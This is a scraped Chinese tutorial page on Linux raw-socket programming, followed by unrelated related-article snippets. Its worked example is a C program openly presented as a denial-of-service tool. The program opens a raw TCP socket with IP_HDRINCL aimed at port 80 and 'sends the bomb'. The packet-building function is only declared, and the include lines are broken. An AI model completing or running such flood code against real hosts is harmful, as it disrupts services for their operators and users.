Linux原始网络编程,Linux操作系统网络编程 原始套接字 (1)

Linux操作系统网络编程--原始套接字 (1)

http://soft.zdnet.com.cn/software_zone/2007/1020/568223.shtml

我们在前面已经学习过了网络程序的两种套接字(SOCK_STREAM,SOCK_DRAGM).在这一章 里面我们一起来学习另外一种套接字--原始套接字(SOCK_RAW)。应用原始套接字,我们可以编写出由TCP和UDP套接字不能够实现的功能. 注意原始套接字只能够由有root权限的人创建。

原始套接字的创建

int sockfd(AF_INET,SOCK_RAW,protocol)

可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.详细的情况查看 下面我们以一个实例来说明原始套接字的创建和使用

一个原始套接字的实例

还记得DOS是什么意思吗?在这里我们就一起来编写一个实现DOS的小程序. 下面是程序的源代码

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define DESTPORT 80 /* 要攻击的端口(WEB) */

#define LOCALPORT 8888

void send_tcp(int sockfd,struct sockaddr_in *addr);

unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)

{

int sockfd;

struct sockaddr_in addr;

struct hostent *host;

int on=1;

if(argc!=2)

{

fprintf(stderr,"Usage:%s hostnamena",argv[0]);

exit(1);

}

bzero(&addr,sizeof(struct sockaddr_in));

addr.sin_family=AF_INET;

addr.sin_port=htons(DESTPORT);

if(inet_aton(argv[1],&addr.sin_addr)==0)

{

host=gethostbyname(argv[1]);

if(host==NULL)

{

fprintf(stderr,"HostName Error:%sna",hstrerror(h_errno));

exit(1);

}

addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);

}

/**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);

if(sockfd<0)

{

fprintf(stderr,"Socket Error:%sna",strerror(errno));

exit(1);

}

/******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

/**** 没有办法,只用超级护用户才可以使用原始套接字 *********/

setuid(getpid());

/********* 发送炸弹了!!!! ****/

send_tcp(sockfd,&addr);

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/534431.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

linux上pyenv卸载,在Ubuntu 18.04系统下安装pyenv的方法

本文介绍在Ubuntu 18.04操作系统下安装pyenv的方法&#xff0c;使用它可以进行Python多版本管理&#xff0c;目的是防止不同的Python版本因为不兼容而出现错误。安装pyenv其实非常的简单&#xff0c;只需要在系统终端中运行一条命令即可&#xff0c;以下是操作方法&#xff0c;…

linux防火墙作用是什么,Linux防火墙操作1

什么是防火墙防火墙可通过监测、限制、更改跨越防火墙的数据流&#xff0c;尽可能地对外部屏蔽网络内部的信息、结构和运行状况&#xff0c;以此来实现网络的安全保护。简单来讲 就是防止外界通过网络攻击Linux服务器的一个软件本次学习目标&#xff1a;防火墙的启停&#xff0…

linux中touch命令的作用,Linux中touch命令的作用是什么

今天微子网络向你展示了触摸命令在Linux中的功能。内容简洁易懂&#xff0c;一定会让你眼前一亮。希望通过这篇文章的详细介绍&#xff0c;你能有所收获。linux的Touch命令不常用&#xff0c;但在使用make时可能会用到&#xff0c;make用于修改文件时间戳或创建一个不存在的新文…

linux打jar包xml文件,springboot打jar包部署外置配置文件

一、读取配置文件的优先级默认&#xff1a;Jar包同级目录的config目录Jar包同级目录classPath(即resources目录)的config目录classpath目录最高优先级的方式是项目启动时通过命令的方式指定项目加载核心配置文件&#xff0c;命令如下java –jar xxxx.jar -Dspring.config.locat…

linux将视频导入到iphone,如何将 IPhone 的文件导入 Linux

如何将 IPhone 的文件导入 Linux完全免费方案。方法一&#xff1a; 使用 Koder 的 Local File Access 功能这方法不需要在 Linux 端做任何配置。IPhone 端安装 koder进入应用 Koder点击右下角的 Settings进入 Local File Access选择 Enable Local File Access你可以看到一个链接…

lede 自定义linux,OpenWrt 和 LEDE 宣布正式合并

OpenWrt 和 LEDE 项目已在官网正式宣布合并&#xff0c;合并后的项目仍用 OpenWRT 命名。合并后的 OpenWrt 项目将按照 LEDE 制定的规范进行管理。原有的 LEDE 和 OpenWrt 项目的活跃成员将继续在合并后的 OpenWrt 上工作。LEDE 项目是 OpenWrt 的一个衍生项目&#xff0c;曾被…

centos系统linux复制命令行,linux系统CentOS7中find命令使用

一、作用查找文件或目录二、参数(常用)-atime 查找在指定时间曾被存取过的目录或文件&#xff0c;单位以24小时计算。(访问时间&#xff0c;执行文件等)-ctime 查找指定时间曾被更改的目录或文件&#xff0c;单位以24小时计算。(文件权限&#xff0c;用户组等等)-mtime 查看指定…

旧衣回收小程序搭建有什么优势?

今年以来&#xff0c;旧衣回收行业分外火热&#xff0c;不断有创业者进入到市场中&#xff0c;其中不乏有年轻人&#xff0c;足以可见行业的火爆。 我国是人口大国&#xff0c;每个人闲置的衣物加在一起的数量难以计算&#xff0c;旧衣回收行业具有巨大的发展空间。 此外&…

c语言程序兔子反之问题,C语言解决兔子产子问题代码及解析

有一对兔子&#xff0c;从出生后的第3个月起每个月都生一对兔子。小兔子长到第3个月后每个月又生一对兔子&#xff0c;假设所有的兔子都不死&#xff0c;问30个月内每个月的兔子总数为多少&#xff1f;问题分析兔子数的规律&#xff0c;如下表所示&#xff1a;月数小兔子对数中…

c语言程序设计数据存储方案,c语言程序设计“第02章数据的存储及运算.ppt

[Return] 第2章 数据的存储与运算 2.1 常量和变量 2.2 整型数据 2.3 实型数据 2.4 字符型数据 2.5 符号常量 2.6 算术运算符和算术表达式 2.7 C运算符和C表达式 [Return] 2.1 常量和变量 1 什么是常量&#xff1f; 在程序运行过过程中其值值不变变的量。 2 什么是变量&#xff…

6位密码锁的c语言编程,51单片机4*3矩阵键盘6位密码锁c语言程序

满意答案#include#include#define uchar unsigned charuchar key;int i0;char b[4]{0,0,0,0};//输入的密码放这里和初始的比较来判断是否密码正确void keyscan()//扫描按键是否按下{uchar temp;P30xfe;//扫描第一行tempP3;temptemp&0xf0;if(temp!0xf0)//判断按键是否按下{d…

c语言fork()创建线程,操作系统的创建原语是fork()还是creat()?

满意答案MythSwift2013.09.10采纳率&#xff1a;55% 等级&#xff1a;12已帮助&#xff1a;9461人一个进程就相当于一个主线程。fork一个进程与create一个线程的区别:fork进程:子进程复制父进程的进程环境。父进程结束不会影响子进程的运行。进程切换复制进程环境。create线…

android 最新 support,android support v7 下载-android support.v7包 官方最新版 - 河东下载站...

android support v7是一款功能非常实用的android在进行开发的过程中&#xff0c;必须要进行使用的一个包&#xff1b;这款软件作为一个功能非常全面的功能包&#xff0c;也是目前为止最新的功能包&#xff0c;是您这使用Android开发的时候&#xff0c;非常重要的一环&#xff1…

android aar jar制作,AndroidStudio aar、jar生成及其引用

aar生成新建项目&#xff0c;并在项目中新建Library module&#xff1a;banner&#xff0c;如图&#xff1a;在新建Module中编写完代码后&#xff0c;build整个工程后就会自动生成aar包&#xff0c;包的路径在新建Module 》 build 》outputs >aar目录下&#xff1b;aar引用在…

android 点击侧滑代码,代码分析Android实现侧滑菜单

Android 侧滑菜单的实现&#xff0c;参考网上的代码&#xff0c;实现侧滑菜单。最重要的是这个动画类UgcAnimations&#xff0c;如何使用动画类来侧滑的封装FlipperLayout。1、实现效果2、动画类UgcAnimationspackage com.mmsx.base;import android.content.Context;import and…

鸿蒙系统年底问世视频,鸿蒙系统年底问世 什么时候上市使用

鸿蒙系统年底问世具体哪一天&#xff1f;自从华为鸿蒙操作系统被曝光后&#xff0c;大家对鸿蒙操作系统可谓是期待已久&#xff0c;鸿蒙操作系统具体什么时间上线&#xff0c;并没有具体的时间通知。但有消息称&#xff0c;“鸿蒙”手机将年底问世&#xff0c;初期主要面向中低…

android怎么设置适配器,Android之自定义实现BaseAdapter(通用适配器三)

在上一篇中&#xff0c;我们说过&#xff0c;在setData中如果有很多控件的话&#xff0c;我们还是要在该方法中写入很多代码&#xff0c;为了降低开发的方便性&#xff0c;本次就在此基础上再一次优化。实现原理是这样的&#xff0c;每次在setData中都要查找控件&#xff0c;然…

html游戏怎么编辑器,HTML的编辑器使用

使用 Notepad 或 TextEdit 来编写 HTML可以使用专业的 HTML 编辑器来编辑 HTML&#xff1a;Adobe DreamweaverMicrosoft Expression WebCoffeeCup HTML Editor(推荐学习&#xff1a;HTML入门教程)不过&#xff0c;我们同时推荐使用文本编辑器来学习 HTML&#xff0c;比如 Notep…

html5中如何自动跳转页面,实现HTML5上滑跳转页面的两种方法

方法一&#xff1a;jquery方法movePage($(body));function movePage(dom) {var startY, moveY, moveSpave;dom.on("touchstart", function(e) {startY e.originalEvent.touches[0].pageY; return startY;});dom.on("touchmove", function(e) {moveY e.or…

鸿蒙系统hifi,Apple Music将迎来重大更新 HiFi无损音质即将上线?

原标题&#xff1a;Apple Music将迎来重大更新 HiFi无损音质即将上线&#xff1f;前不久有媒体报道称&#xff0c;苹果将在当地时间5月18日推出HiFi版AppleMusic服务&#xff0c;新服务将为Apple Music用户提供无损的流媒体音乐&#xff0c;满足HiFi用户对高音质的追求。而在近…